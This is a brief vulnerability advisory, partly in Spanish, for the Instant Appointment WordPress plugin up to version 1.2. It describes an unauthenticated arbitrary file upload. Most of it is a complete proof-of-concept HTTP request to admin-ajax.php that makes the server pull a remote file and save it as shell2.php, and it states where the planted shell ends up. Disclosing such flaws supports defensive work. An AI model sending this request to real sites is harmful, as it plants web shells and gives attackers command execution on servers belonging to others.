
instant-appointment - Arbitrary File upload
instant-appointment - Subida arbitraria de archivos
El plugin Instant Appointment para WordPress es vulnerable a la subida arbitraria de archivos en versiones hasta la 1.2, inclusive. Esto permite que atacantes no autenticados suban un shell y ejecuten comandos.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wp-dev.ddev.site
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Cache-Control: max-age=0
Content-Length: 108
action=add_gallery_to_vendor&user_galerie[0][1]=https://rfi.nessus.org/rfi.txt&user_galerie[0][0]=shell2.php
El archivo estará en uploads/2025/1/shell2.php.